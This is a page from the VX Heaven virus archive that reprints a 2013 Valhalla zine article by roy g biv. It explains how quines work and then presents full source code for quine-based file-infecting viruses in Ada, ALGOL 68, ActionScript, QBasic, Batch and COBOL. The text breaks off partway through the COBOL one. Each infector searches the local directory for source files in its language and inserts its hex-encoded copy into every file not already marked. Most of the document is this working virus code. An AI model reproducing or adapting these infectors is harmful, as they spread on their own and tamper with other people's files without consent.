Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Quines - theory and practice

roy g biv
Valhalla #4
November 2013

[Back to index] [Comments]

What is it?

A quine is a program which emits a copy of its own source code as its output. A quine virus is a program that writes itself to a file instead of to stdout.

The simple way to do this is to create a string that holds the source code and then write it. The initial problem is that the character that declares the string cannot be used inside the string itself unless it is escaped. The next problem is that the escaped character cannot escape itself when it is printed, so the escaping is lost in that case. Here is an example of that:

        char a="abcde";
        char b="char a=\"abcde\";";
 
now b will contain 'char a="abcde";'. Okay, but how to write b? Like this?
        char c="char b=\"char a=\\\"abcde\\\";\";";
 

Then how to write c? But a is unescaped during the first pass, so it loses some information when translated, and we cannot recover it using assignments.

One way to solve that is to parse the string and watch for special characters like the '"' and then to insert the '\' again manually, but this is ugly. The way that I solved the problem is to encode the string, using atoi(). I could use base64 or another encoding method, but it increases complexity.

My initial implementation used an array, char a[]={};

This technique required a very tricky decoding like this:

        write(d,itoa(a[i],j+4,16)-3-!(i&63)+!i+!i,5+!(i&63)-(a[i]<14)-!i-!i),++i;
 

The line writes a comma before every token except first one, writes one digit for CR and LF, two for others, and writes LF every 64 bytes. All this just to avoid including string.h.

Eventually, I switched to string, char*a="",*f:

and then decoding was simple, like this:

        *f=a[j]*16+a[j+1]-a[j+1]/64*7-48;
 

Then all we need is this:

        while(a[++i]); /* calculate the length of our string */

        for(;j<i;j+=2)
        {
                *f=a[j]*16+a[j+1]-a[j+1]/64*7-48;       /* decode one character each time */
                write(d,f,1);                             /* write the plaintext code */
                if(j==16)                               /* wait for 'char*a="' written */
                        write(d,a,i);                   /* write atoi(code) */
        }                                               /* continue writing plaintext code until end */
 

Easy. ;)

Greets to friendly people (A-Z): Active - Benny - herm1t - hh86 - jqwerty - Malum - Obleak - pr0mix - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

rgb/defjam october 2013
[email protected]

Quine-based Infectors for 32 different languages

Note by SPTH: This document contains quine-based infectors in 32 different languages written by roy g biv between April and Octomber 2013. The languages are described in a few sentences (from wikipedia). Find the full archive in the binary directory.

ADA

Ada is a structured, statically typed, imperative, wide-spectrum, and object-oriented high-level computer programming language, extended from Pascal and other languages. It has built-in language support for explicit concurrency, offering tasks, synchronous message passing, protected objects, and non-determinism.

Quine-based infector was finished on 22.04.2013.

with gnat.directory_operations,ada.text_io,ada.strings.unbounded,ada.strings.equal_case_insensitive;use gnat.directory_operations,ada.text_io,ada.strings.unbounded,ada.strings;

procedure quine is

a:string:="7769746820676E61742E6469726563746F72795F6F7065726174696F6E732C6164612
E746578745F696F2C6164612E737472696E67732E756E626F756E6465642C6164612E737472696E6
7732E657175616C5F636173655F696E73656E7369746976653B75736520676E61742E64697265637
46F72795F6F7065726174696F6E732C6164612E746578745F696F2C6164612E737472696E67732E7
56E626F756E6465642C6164612E737472696E67733B613A737472696E673A3D22223B623A6469725
F747970653B632C673A737472696E6728312E2E323630293B642C682C692C6C2C6D3A6E617475726
16C3B652C6A2C6B3A756E626F756E6465645F737472696E673B663A66696C655F747970653B6F706
56E28622C222E22293B6C6F6F70207265616428622C632C64293B65786974207768656E20643D303
B696620643E34207468656E20696620657175616C5F636173655F696E73656E73697469766528632
8642D332E2E64292C222E61646222297468656E20653A3D6E756C6C5F756E626F756E6465645F737
472696E673B6F70656E28662C696E5F66696C652C6328312E2E6429293B693A3D303B7768696C652
06E6F7420656E645F6F665F66696C65286629616E6420693D30206C6F6F70206765745F6C696E652
8662C672C68293B693A3D696E64657828746F5F756E626F756E6465645F737472696E67286728312
E2E6829292C225175696E6522293B617070656E6428652C6728312E2E68292663686172616374657
22776616C28313029293B656E64206C6F6F703B636C6F73652866293B696620693D30207468656E2
06A3A3D653B6C6F6F7020683A3D696E646578286A2C22656E642022293B65786974207768656E206
83D303B693A3D696E64657828756E626F756E6465645F736C696365286A2C682C6C656E677468286
A29292C223B22293B6B3A3D756E626F756E6465645F736C696365286A2C682B342C682B692D32293
B6C3A3D696E64657828652C2270726F636564757265202226746F5F737472696E67286B29293B657
86974207768656E206C3E303B6A3A3D756E626F756E6465645F736C696365286A2C682B692C6C656
E677468286A29293B656E64206C6F6F703B696620683E30207468656E206A3A3D756E626F756E646
5645F736C69636528652C6C2C6C656E677468286529293B683A3D696E646578286A2C22626567696
E22292D323B693A3D696E646578286A2C746F5F737472696E672822656E642022266B29292D323B6
F70656E28662C6F75745F66696C652C6328312E2E6429293B643A3D313B7768696C6520643C61276
C656E677468206C6F6F70206D3A3D63686172616374657227706F73286128642B3129293B7075742
8662C6368617261637465722776616C2863686172616374657227706F732861286429292A31362B6
D2D6D2F36342A372D38313629293B643A3D642B323B696620643D333533207468656E20707574286
62C746F5F737472696E6728756E626F756E6465645F736C69636528652C312C6C2B682929293B656
C73696620643D333735207468656E2070757428662C61293B656C73696620643D353435207468656
E2070757428662C746F5F737472696E6728756E626F756E6465645F736C69636528652C6C2B682C6
C2B692929293B656E642069663B656E64206C6F6F703B70757428662C746F5F737472696E6728756
E626F756E6465645F736C69636528652C6C2B692B312C6C656E6774682865292929293B636C6F736
52866293B656E642069663B656E642069663B656E642069663B656E642069663B656E64206C6F6F7
03B636C6F73652862293B657863657074696F6E207768656E206572726F723A6F74686572733D3E7
2657475726E3B2D2D5175696E65202D20726F792067206269762032322F30342F31330A"
;
b:dir_type;c,g:string(1..260);d,h,i,l,m:natural;e,j,k:unbounded_string;f:file_type;

begin

open(b,".");loop read(b,c,d);exit when d=0;if d>4 then if equal_case_insensitive(
c(d-3..d),".adb")then e:=null_unbounded_string;open(f,in_file,c(1..d));i:=0;while
not end_of_file(f)and i=0 loop get_line(f,g,h);i:=index(to_unbounded_string(g(1..h)
),"Quine");append(e,g(1..h)&character'val(10));end loop;close(f);if i=0 then j:=e;
loop h:=index(j,"end ");exit when h=0;i:=index(unbounded_slice(j,h,length(j)),";");
k:=unbounded_slice(j,h+4,h+i-2);l:=index(e,"procedure "&to_string(k));exit when l>0;
j:=unbounded_slice(j,h+i,length(j));end loop;if h>0 then j:=unbounded_slice(e,l,
length(e));h:=index(j,"begin")-2;i:=index(j,to_string("end "&k))-2;open(f,out_file,
c(1..d));d:=1;while d<a'length loop m:=character'pos(a(d+1));put(f,character'val(
character'pos(a(d))*16+m-m/64*7-816));d:=d+2;if d=353 then put(f,to_string(
unbounded_slice(e,1,l+h)));elsif d=375 then put(f,a);elsif d=545 then put(f,
to_string(unbounded_slice(e,l+h,l+i)));end if;end loop;put(f,to_string(
unbounded_slice(e,l+i+1,length(e))));close(f);end if;end if;end if;end if;end loop;
close(b);exception when error:others=>return;--Quine - roy g biv 22/04/13

end quine;
 

Algol

ALGOL 68 (short for ALGOrithmic Language 1968) is an imperative computer programming language that was conceived as a successor to the ALGOL 60 programming language, designed with the goal of a much wider scope of application and more rigorously defined syntax and semantics.

The contributions of ALGOL 68 to the field of computer science has been deep, wide ranging and enduring, although many of these contributions were only publicly identified when they had reappeared in subsequently developed programming languages.

Quine-based infector was finished on 27.04.2013.

BEGIN

STRINGa:="222C623A3D223B535452494E47613A3D222B52455052283334292B612C662C6A3B494E
54643B464F5263425932544F2055504261444F643A3D414253615B632B315D3B622B3A3D52455052
28414253615B635D2A31362B642D454E5449455228642F3634292A372D383136294F443B5B5D5354
52494E47653D6765746469726563746F727928222E22293B464F5263544F2055504265444F204946
20555042655B635D3E345448454E663A3D655B635D5B555042655B635D2D333A5D3B464F5267544F
2055504266444F20494620414253665B675D3E363426414253665B675D3C39315448454E665B675D
3A3D5245505228414253665B675D2B3332294649204F443B4946663D222E613638225448454E2046
494C45683B49466F70656E28682C655B635D2C7374616E64696E6368616E6E656C293D305448454E
6F6E6C6F676963616C66696C65656E6428682C285245462046494C456529424F4F4C3A69293B5354
52494E476C3B424F4F4C6B3B5748494C456765746628682C2824676C242C6A29293B6B3A3D737472
696E67696E737472696E6728225175696E65222C4E494C2C6A293B7E6B444F6C2B3A3D6A2B524550
52284142533130294F443B693A534B49503B636C6F73652868293B49466B3D46414C534520544845
4E2049466F70656E28682C655B635D2C7374616E646F75746368616E6E656C293D305448454E643A
3D5550426C2D333B5748494C456C5B642B313A642B335D2F3D22454E4422444F642D3A3D314F443B
70757428682C286C5B3A645D2C622C6C5B642B313A5D292946493B636C6F73652868294649204649
204649204649204F44235175696E65202D20726F792067206269762032372F30342F313323",
b:=";STRINGa:="+REPR(34)+a,f,j;INTd;FORcBY2TO UPBaDOd:=ABSa[c+1];b+:=REPR(ABSa[c]
*16+d-ENTIER(d/64)*7-816)OD;[]STRINGe=getdirectory(".");FORcTO UPBeDO IF UPBe[c]>
4THENf:=e[c][UPBe[c]-3:];FORgTO UPBfDO IF ABSf[g]>64&ABSf[g]<91THENf[g]:=REPR(ABSf[g]+
32)FI OD;IFf=".a68"THEN FILEh;IFopen(h,e[c],standinchannel)=0THENonlogicalfileend(h,
(REF FILEe)BOOL:i);STRINGl;BOOLk;WHILEgetf(h,($gl$,j));k:=stringinstring("Quine",NIL,j);
~kDOl+:=j+REPR(ABS10)OD;i:SKIP;close(h);IFk=FALSE THEN IFopen(h,e[c],standoutchannel)=
0THENd:=UPBl-3;WHILEl[d+1:d+3]/="END"DOd-:=1OD;put(h,(l[:d],b,l[d+1:]))FI;close(h)
FI FI FI FI OD#Quine - roy g biv 27/04/13#

END
 

ActionScript

ActionScript is an object-oriented language originally developed by Macromedia Inc. (now owned by Adobe Systems). It is a dialect of ECMAScript (meaning it is a superset of the syntax and semantics of the language more widely known as JavaScript), and is used primarily for the development of websites and software targeting the Adobe Flash Player platform, used on Web pages in the form of embedded SWF files. The language itself is open-source in that its specification is offered free of charge and both an open source compiler (as part of Apache Flex) and open source virtual machine (Mozilla Tamarin) are available.

Quine-based infector was finished on 09.10.2013.

package
{
        import flash.display.Sprite;
        public class quine extends Sprite
        {
                function quine()
                {
                        {
                                var a:String="223B76617220623A537472696E673D227B76617220613A5374726
                                96E673D5C22222B613B76617220633A696E743B666F7228633D303B633C612E6C65
                                6E6774683B632B3D3229622B3D537472696E672E66726F6D43686172436F6465287
                                061727365496E7428612E73756273747228632C32292C313629293B696D706F7274
                                20666C6173682E66696C6573797374656D2E2A3B76617220643A41727261793D466
                                96C652E646F63756D656E74734469726563746F72792E6765744469726563746F72
                                794C697374696E6728293B666F7228633D303B633C642E6C656E6774683B632B2B2
                                9696628645B635D2E75726C2E737562737472696E6728645B635D2E75726C2E6C65
                                6E6774682D33292E746F4C6F7765724361736528293D3D222E617322297472797B7
                                6617220653A46696C6553747265616D3D6E65772046696C6553747265616D28293B
                                652E6F70656E28645B635D2C227265616422293B76617220663A537472696E673D6
                                52E72656164555446427974657328652E6279746573417661696C61626C65293B65
                                2E636C6F736528293B76617220673A696E743D662E6C617374496E6465784F66282
                                27D222C662E6C617374496E6465784F6628227D222C662E6C617374496E6465784F
                                6628227D22292D31292D31293B696628662E63686172417428672D3129213D272F2
                                729207B652E6F70656E28645B635D2C22777269746522293B652E77726974655554
                                46427974657328662E73756273747228302C67292B622B662E73756273747228672
                                9293B652E636C6F736528293B7D7D6361746368287A297B7D7D2F2A5175696E6520
                                2D20726F792067206269762030392F31302F31332A2F"
;
                                var b:String="{var a:String=\""+a;var c:int;for(c=0;c<a.length;c+=2)
                                b+=String.fromCharCode(parseInt(a.substr(c,2),16));import flash.filesystem.*;
                                var d:Array=File.documentsDirectory.getDirectoryListing();for(c=0;c<d.length;c++)
                                if(d[c].url.substring(d[c].url.length-3).toLowerCase()==".as")
                                try{var e:FileStream=new FileStream();e.open(d[c],"read");
                                var f:String=e.readUTFBytes(e.bytesAvailable);e.close();
                                var g:int=f.lastIndexOf("}",f.lastIndexOf("}",f.lastIndexOf("}")-1)-1);
                                if(f.charAt(g-1)!='/'){e.open(d[c],"write");e.writeUTFBytes(f.substr(0,g)+
                                b+f.substr(g));e.close();}}catch(z){}}/*Quine - roy g biv 09/10/13*/
                        }
        }
}
 

QBasic

QBasic (Microsoft Quick Beginners All purpose Symbolic Instruction Code) is an IDE and interpreter for a variant of the BASIC programming language which is based on QuickBASIC. Code entered into the IDE is compiled to an intermediate form, and this intermediate form is immediately interpreted on demand within the IDE. It can run under nearly all versions of DOS and Windows, or through DOSBox/DOSEMU, on Linux and FreeBSD. For its time, QBasic provided a state-of-the-art IDE, including a debugger with features such as on-the-fly expression evaluation and code modification.

Like QuickBASIC, but unlike earlier versions of Microsoft BASIC, QBasic is a structured programming language, supporting constructs such as subroutines and while loops.

Quine-based infector was finished on 24.05.2013.

A$="223A42243D43485224283130292B2241243D222B43485224283334292B41243A464F5220413D
3120544F204C454E284124295354455020323A42243D42242B434852242856414C28222648222B4D
4944242841242C412C322929293A4E4558543A5348454C4C224449522F42202A2E4241533E52223A
4F4E204552524F5220474F544F20473A4F50454E2249222C312C2252223A5748494C45204E4F5420
454F462831293A4C494E4520494E50555423312C41243A4F50454E2249222C322C41243A413D303A
5748494C45204E4F5420454F46283229414E4420413D303A4C494E4520494E50555423322C43243A
413D494E5354522843242C225175696E6522293A57454E443A434C4F534520320A494620413D3054
48454E0A4F50454E2241222C322C41243A5052494E5423322C42243A434C4F534520320A454E4449
463A57454E440A473A454E44275175696E65202D20726F792067206269762032342F30352F3133"
:
B$=CHR$(10)+"A$="+CHR$(34)+A$:FOR A=1 TO LEN(A$)STEP 2:B$=B$+CHR$(VAL("&H"+MID$(A$,A,2))):
NEXT:SHELL"DIR/B *.BAS>R":ON ERROR GOTO G:OPEN"I",1,"R":WHILE NOT EOF(1):LINE INPUT#1,A$:
OPEN"I",2,A$:A=0:WHILE NOT EOF(2)AND A=0:LINE INPUT#2,C$:A=INSTR(C$,"Quine"):WEND:CLOSE 2
IF A=0THEN
OPEN"A",2,A$:PRINT#2,B$:CLOSE 2
ENDIF:WEND
G:END'Quine - roy g biv 24/05/13
 

Batch

In DOS, OS/2, and also Microsoft Windows, batch file is the name given to a type of script file, a text file containing a series of commands to be executed by the command interpreter.

A batch file may contain any command the interpreter accepts interactively at the command prompt. A batch file may also have constructs (IF, GOTO, Labels, CALL, etc.) that enable conditional branching and looping within the batch file.

Quine-based infector was finished on 19.09.2013.

@REM QUINE - ROY G BIV 19/09/13
@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
SET A=4052454D205155494E45202D20524F592047204249562031392F30392F31330A404543484F
204F46460A5345544C4F43414C20454E41424C4544454C41594544455850414E53494F4E0A534554
20413D0A53455420423D205222232452522728292A2B2C2D2E2F303132333435363738393A3B523D
523F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D525F606162636465
666768696A6B6C6D6E6F707172737475767778797A7B527D7E0A464F52202F4C2025254120494E20
28302C322C3135313629444F2043414C4C3A45202525410A464F522025254120494E20282A2E4241
5429444F2049462025257E5A41204C53532036303030302043414C4C3A49202525410A454E444C4F
43414C0A404543484F204F4E0A40474F544F3A4B0A3A450A49462025313D3D313630205345542046
3D2146212541250A534554202F4120473D307821413A7E25312C32210A534554202F4120483D472D
33320A4946202547253D3D313020280A53455420463D2146215E0A0A29454C534520494620254825
3D3D31202853455420463D2146215E5E210A29454C5345204946202548253D3D3520285345542046
3D21462125250A29454C5345204946202548253D3D36202853455420463D2146215E260A29454C53
45204946202548253D3D3238202853455420463D2146215E3C0A29454C5345204946202548253D3D
3330202853455420463D2146215E3E0A29454C5345204946202548253D3D3632202853455420463D
2146215E5E5E5E0A29454C5345204946202548253D3D3932202853455420463D2146215E7C0A2945
4C53452053455420463D21462121423A7E2548252C31210A474F544F3A454F460A3A490A464F5220
2F462022544F4B454E533D2A222025254220494E2028253129444F20280A534554204A3D2525420A
49462022214A3A7E352C352122204E455120225155494E452220280A52454E20253120520A454348
4F202146213E25310A5459504520523E3E25310A44454C20520A290A474F544F3A454F460A290A3A4B0A
SET B= R"#$RR'()*+,-./0123456789:;[email protected][\]R_`abcdefghijklmnopqrstuvwxyz{R}~
FOR /L %%A IN (0,2,1516)DO CALL:E %%A
FOR %%A IN (*.BAT)DO IF %%~ZA LSS 60000 CALL:I %%A
ENDLOCAL
@ECHO ON
@GOTO:K
:E
IF %1==160 SET F=!F!%A%
SET /A G=0x!A:~%1,2!
SET /A H=G-32
IF %G%==10 (
SET F=!F!^

)ELSE IF %H%==1 (SET F=!F!^^!
)ELSE IF %H%==5 (SET F=!F!%%
)ELSE IF %H%==6 (SET F=!F!^&
)ELSE IF %H%==28 (SET F=!F!^<
)ELSE IF %H%==30 (SET F=!F!^>
)ELSE IF %H%==62 (SET F=!F!^^^^
)ELSE IF %H%==92 (SET F=!F!^|
)ELSE SET F=!F!!B:~%H%,1!
GOTO:EOF
:I
FOR /F "TOKENS=*" %%B IN (%1)DO (
SET J=%%B
IF "!J:~5,5!" NEQ "QUINE" (
REN %1 R
ECHO !F!>%1
TYPE R>>%1
DEL R
)
GOTO:EOF
)
:K
 

COBOL

COBOL is one of the oldest programming languages, primarily designed by Grace Hopper. Its name is an acronym for COmmon Business-Oriented Language, defining its primary domain in business, finance, and administrative systems for companies and governments.

Quine-based infector was finished on 01.09.2013.

010913 IDENTIFICATION DIVISION.
010913 PROGRAM-ID. QUINE.
010913 ENVIRONMENT DIVISION.
010913 INPUT-OUTPUT SECTION.
010913 FILE-CONTROL.
010913 SELECT A ASSIGN TO'VICTIM.CBL'
010913 ORGANIZATION IS LINE SEQUENTIAL.
010913 SELECT E ASSIGN TO'R'
010913 ORGANIZATION IS LINE SEQUENTIAL.
010913 DATA DIVISION.
010913 FILE SECTION.
010913 FD A
010913 RECORD CONTAINS 72 CHARACTERS.
010913 01 B.
010913 02 C PIC X(6).
010913 02 D PIC X(66).
010913 FD E
010913 RECORD CONTAINS 72 CHARACTERS.
010913 01 F.
010913 02 G PIC X(6).
010913 02 H PIC X(66).
010913 WORKING-STORAGE SECTION.
010913 01 I PIC 9(6).
010913 01 J PIC 9.
010913 01 K PIC 9.
010913 01 L PIC 999.
010913 01 M PIC 999.
010913 01 N PIC 999.
010913 01 O PIC 9(6).
010913 01 P PIC 999.
010913 01 Q PIC 999.
010913 01 R PIC 9(5).
010913 01 S PIC 999.
010913 01 T PIC 999.
010913 01 U PIC X(59).
010913 01 V PIC X(9098).
010913 01 W PIC 99.
010913 PROCEDURE DIVISION.
010913 OPEN INPUT A
010913 SET I TO 0
010913 SET J TO 0
010913 SET K TO 0
010913 SET M TO 0
010913 SET N TO 0
010913 SET O TO 0
010913 SET P TO 0
010913 SET Q TO 0
010913 SET R TO 0
010913 SET S TO 0
010913 PERFORM UNTIL J=1 OR K>0
010913 READ A
010913 AT END SET J TO 1
010913 END-READ
010913 ADD 1 TO I
010913 INSPECT D TALLYING K FOR ALL'QUINE'
010913 IF D(1:1)=' 'THEN
010913 SET L TO 0
010913 INSPECT D TALLYING L FOR ALL'DIVISION.'
010913 IF L=1 THEN
010913 INSPECT D TALLYING L FOR ALL'ENVIRONMENT'
010913 IF L=2 THEN SET M TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'DATA'
010913 IF L=2 THEN SET N TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'PROCEDURE'
010913 IF L=2 THEN SET O TO I
010913 END-IF
010913 END-IF
010913 END-IF
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'SECTION.'
010913 IF L=1 THEN
010913 INSPECT D TALLYING L FOR ALL'INPUT-OUTPUT'
010913 IF L=2 THEN SET P TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'FILE'
010913 IF L=2 THEN SET Q TO I
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'WORKING-STORAGE'
010913 IF L=2 THEN SET R TO I
010913 END-IF
010913 END-IF
010913 END-IF
010913 ELSE
010913 INSPECT D TALLYING L FOR ALL'FILE-CONTROL.'
010913 IF L=1 THEN SET S TO I
010913 END-PERFORM
010913 CLOSE A
010913 IF K=0 AND O>0 THEN
010913 OPEN INPUT A
010913 OPEN OUTPUT E
010913 SET L TO 1
010913 SET T TO I
010913 IF M>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>M
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 IF P>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>P
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 IF S>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>S
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 END-IF
010913 END-IF
010913 ELSE
010913 SET M TO O
010913 IF N>0 THEN SET M TO N
010913 END-IF
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=M
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' ENVIRONMENT DIVISION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 IF S=0 THEN
010913 IF P=0 THEN
010913 SET H TO' INPUT-OUTPUT SECTION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FILE-CONTROL.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO" SELECT A ASSIGN TO'VICTIM.CBL'"
010913 WRITE F
010913 SET U TO' ORGANIZATION IS LINE SEQUENTIAL.'
010913 SET H TO U
010913 WRITE F
010913 SET H TO" SELECT E ASSIGN TO'R'"
010913 WRITE F
010913 SET H TO U
010913 WRITE F
010913 ADD 4 TO T
010913 IF Q>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>Q
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 IF N>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>N
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' DATA DIVISION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FILE SECTION.'
010913 WRITE F
010913 ADD 1 TO T
010913 END-IF
010913 SET H TO' FD A'
010913 WRITE F
010913 SET U TO' RECORD CONTAINS 72 CHARACTERS.'
010913 SET H TO U
010913 WRITE F
010913 SET H TO' 01 B.'
010913 WRITE F
010913 SET H TO' 02 C PIC X(6).'
010913 WRITE F
010913 SET H TO' 02 D PIC X(66).'
010913 WRITE F
010913 SET H TO' FD E'
010913 WRITE F
010913 SET H TO U
010913 WRITE F
010913 SET H TO' 01 F.'
010913 WRITE F
010913 SET H TO' 02 G PIC X(6).'
010913 WRITE F
010913 SET H TO' 02 H PIC X(66).'
010913 WRITE F
010913 ADD 10 TO T
010913 IF R>0 THEN
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>R
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 ELSE
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET H TO' WORKING-STORAGE SECTION.'
010913 ADD 1 TO T
010913 WRITE F
010913 END-IF
010913 SET H TO' 01 I PIC 9(6).'
010913 WRITE F
010913 SET H TO' 01 J PIC 9.'
010913 WRITE F
010913 SET H TO' 01 K PIC 9.'
010913 WRITE F
010913 SET H TO' 01 L PIC 999.'
010913 WRITE F
010913 SET H TO' 01 M PIC 999.'
010913 WRITE F
010913 SET H TO' 01 N PIC 999.'
010913 WRITE F
010913 SET H TO' 01 O PIC 9(6).'
010913 WRITE F
010913 SET H TO' 01 P PIC 999.'
010913 WRITE F
010913 SET H TO' 01 Q PIC 999.'
010913 WRITE F
010913 SET H TO' 01 R PIC 9(5).'
010913 WRITE F
010913 SET H TO' 01 S PIC 999.'
010913 WRITE F
010913 SET H TO' 01 T PIC 999.'
010913 WRITE F
010913 SET H TO' 01 U PIC X(59).'
010913 WRITE F
010913 SET H TO' 01 V PIC X(9098).'
010913 WRITE F
010913 SET H TO' 01 W PIC 99.'
010913 WRITE F
010913 ADD 15 TO T
010913 PERFORM VARYING L FROM L BY 1 UNTIL L>O
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 SET V TO'204F50454E20494E50555420410A20534554204920544F20300A2053
010913-'
4554204A20544F20300A20534554204B20544F20300A20534554204D20544F20
010913-'300A20534554204E20544F20300A20534554204F20544F20300A205345542050
010913-'
20544F20300A20534554205120544F20300A20534554205220544F20300A2053
010913-'4554205320544F20300A20504552464F524D20554E54494C204A3D31204F5220
010913-'
4B3E300A205245414420410A20415420454E4420534554204A20544F20310A20
010913-'454E442D524541440A20414444203120544F20490A20494E5350454354204420
010913-'
54414C4C59494E47204B20464F5220414C4C275155494E45270A204946204428
010913-'313A31293D2720275448454E0A20534554204C20544F20300A20494E53504543
010913-'
5420442054414C4C59494E47204C20464F5220414C4C274449564953494F4E2E
010913-'270A204946204C3D31205448454E0A20494E535045435420442054414C4C5949
010913-'
4E47204C20464F5220414C4C27454E5649524F4E4D454E54270A204946204C3D
010913-'32205448454E20534554204D20544F20490A20454C53450A20494E5350454354
010913-'
20442054414C4C59494E47204C20464F5220414C4C2744415441270A20494620
010913-'4C3D32205448454E20534554204E20544F20490A20454C53450A20494E535045
010913-'
435420442054414C4C59494E47204C20464F5220414C4C2750524F4345445552
010913-'45270A204946204C3D32205448454E20534554204F20544F20490A20454E442D
010913-'
49460A20454E442D49460A20454E442D49460A20454C53450A20494E53504543
010913-'5420442054414C4C59494E47204C20464F5220414C4C2753454354494F4E2E27
010913-'
0A204946204C3D31205448454E0A20494E535045435420442054414C4C59494E
010913-'47204C20464F5220414C4C27494E5055542D4F5554505554270A204946204C3D
010913-'
32205448454E20534554205020544F20490A20454C53450A20494E5350454354
010913-'20442054414C4C59494E47204C20464F5220414C4C2746494C45270A20494620
010913-'
4C3D32205448454E20534554205120544F20490A20454C53450A20494E535045
010913-'435420442054414C4C59494E47204C20464F5220414C4C27574F524B494E472D
010913-'
53544F52414745270A204946204C3D32205448454E20534554205220544F2049
010913-'0A20454E442D49460A20454E442D49460A20454E442D49460A20454C53450A20
010913-'
494E535045435420442054414C4C59494E47204C20464F5220414C4C2746494C
010913-'452D434F4E54524F4C2E270A204946204C3D31205448454E2053455420532054
010913-'
4F20490A20454E442D504552464F524D0A20434C4F534520410A204946204B3D
010913-'3020414E44204F3E30205448454E0A204F50454E20494E50555420410A204F50
010913-'
454E204F555450555420450A20534554204C20544F20310A2053455420542054
010913-'4F20490A204946204D3E30205448454E0A20504552464F524D2056415259494E
010913-'
47204C2046524F4D204C204259203120554E54494C204C3E4D0A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'
4F524D0A20494620503E30205448454E0A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3E500A205245414420
010913-'
410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20494620533E30205448454E0A20504552464F524D2056415259494E
010913-'
47204C2046524F4D204C204259203120554E54494C204C3E530A205245414420
010913-'410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'
4F524D0A20454E442D49460A20454E442D49460A20454C53450A20534554204D
010913-'20544F204F0A204946204E3E30205448454E20534554204D20544F204E0A2045
010913-'
4E442D49460A20504552464F524D2056415259494E47204C2046524F4D204C20
010913-'4259203120554E54494C204C3D4D0A205245414420410A20534554204620544F
010913-'
20420A20575249544520460A20454E442D504552464F524D0A20534554204820
010913-'544F2720454E5649524F4E4D454E54204449564953494F4E2E270A2057524954
010913-'
4520460A20414444203120544F20540A20454E442D49460A20494620533D3020
010913-'5448454E0A20494620503D30205448454E0A20534554204820544F2720494E50
010913-'
55542D4F55545055542053454354494F4E2E270A20575249544520460A204144
010913-'44203120544F20540A20454E442D49460A20534554204820544F272046494C45
010913-'
2D434F4E54524F4C2E270A20575249544520460A20414444203120544F20540A
010913-'20454E442D49460A20534554204820544F222053454C45435420412041535349
010913-'
474E20544F2756494354494D2E43424C27220A20575249544520460A20534554
010913-'205520544F27204F5247414E495A4154494F4E204953204C494E452053455155
010913-'
454E5449414C2E270A20534554204820544F20550A20575249544520460A2053
010913-'4554204820544F222053454C45435420452041535349474E20544F275227220A
010913-'
20575249544520460A20534554204820544F20550A20575249544520460A2041
010913-'4444203420544F20540A20494620513E30205448454E0A20504552464F524D20
010913-'
56415259494E47204C2046524F4D204C204259203120554E54494C204C3E510A
010913-'205245414420410A20534554204620544F20420A20575249544520460A20454E
010913-'
442D504552464F524D0A20454C53450A204946204E3E30205448454E0A205045
010913-'52464F524D2056415259494E47204C2046524F4D204C204259203120554E5449
010913-'
4C204C3E4E0A205245414420410A20534554204620544F20420A205752495445
010913-'20460A20454E442D504552464F524D0A20454C53450A20504552464F524D2056
010913-'
415259494E47204C2046524F4D204C204259203120554E54494C204C3D4F0A20
010913-'5245414420410A20534554204620544F20420A20575249544520460A20454E44
010913-'
2D504552464F524D0A20534554204820544F272044415441204449564953494F
010913-'4E2E270A20575249544520460A20414444203120544F20540A20454E442D4946
010913-'
0A20534554204820544F272046494C452053454354494F4E2E270A2057524954
010913-'4520460A20414444203120544F20540A20454E442D49460A2053455420482054
010913-'
4F272046442041270A20575249544520460A20534554205520544F2720524543
010913-'4F524420434F4E5441494E5320373220434841524143544552532E270A205345
010913-'
54204820544F20550A20575249544520460A20534554204820544F2720303120
010913-'422E270A20575249544520460A20534554204820544F27203032204320504943
010913-'
20582836292E270A20575249544520460A20534554204820544F272030322044
010913-'205049432058283636292E270A20575249544520460A20534554204820544F27
010913-'
2046442045270A20575249544520460A20534554204820544F20550A20575249
